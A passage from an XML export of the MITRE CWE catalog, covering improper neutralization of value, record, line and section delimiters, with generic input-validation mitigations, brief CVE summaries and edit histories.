					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>140</Relationship_Target_ID>
					          <!--Improper Neutralization of Delimiters-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that value delimiters will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0293</Observed_Example_Reference>
					          <Observed_Example_Description>Multiple internal space, insufficient quoting -
						program does not use proper delimiter between
						values.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Embedded Delimiters", Page
						408.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Value Delimiter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Value
						Delimiter</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Value
						Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="143" Name="Improper Neutralization of Record Delimiters" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as record delimiters when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected/absent/malformed delimiter may cause the
						process to take unexpected actions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>140</Relationship_Target_ID>
					          <!--Improper Neutralization of Delimiters-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that record delimiters will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1982</Observed_Example_Reference>
					          <Observed_Example_Description>Carriage returns in subject field allow adding new
						records to data file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0527</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker inserts carriage returns and "|" field
						separator characters to add new
						user/privileges.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Embedded Delimiters", Page
						408.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Record Delimiter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Record
						Delimiter</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Record
						Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="144" Name="Improper Neutralization of Line Delimiters" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as line delimiters when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected/absent/malformed delimiter may cause the
						process to take unexpected actions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>140</Relationship_Target_ID>
					          <!--Improper Neutralization of Delimiters-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>93</Relationship_Target_ID>
					          <!--Improper Neutralization of CRLF Sequences ('CRLF Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Depending on the language and syntax being used, this could be the same as
						the record delimiter (CWE-143).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that line delimiters will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0267</Observed_Example_Reference>
					          <Observed_Example_Description>Linebreak in field of PHP script allows admin
						privileges when written to data file.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Embedded Delimiters", Page
						408.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Line Delimiter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not log unsanitized user input</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Line
						Delimiter</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Line
						Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="145" Name="Improper Neutralization of Section Delimiters" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as section delimiters when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected/absent/malformed delimiter may cause the
						process to take unexpected actions.</Text>
					          <Text>One example of a section delimiter is the boundary string in a multipart
						MIME message. In many cases, doubled line delimiters can serve as a section
						delimiter.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>140</Relationship_Target_ID>
					          <!--Improper Neutralization of Delimiters-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>93</Relationship_Target_ID>
					          <!--Improper Neutralization of CRLF Sequences ('CRLF Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Depending on the language and syntax being used, this could be the same as
						the record delimiter (CWE-143).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that section delimiters will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
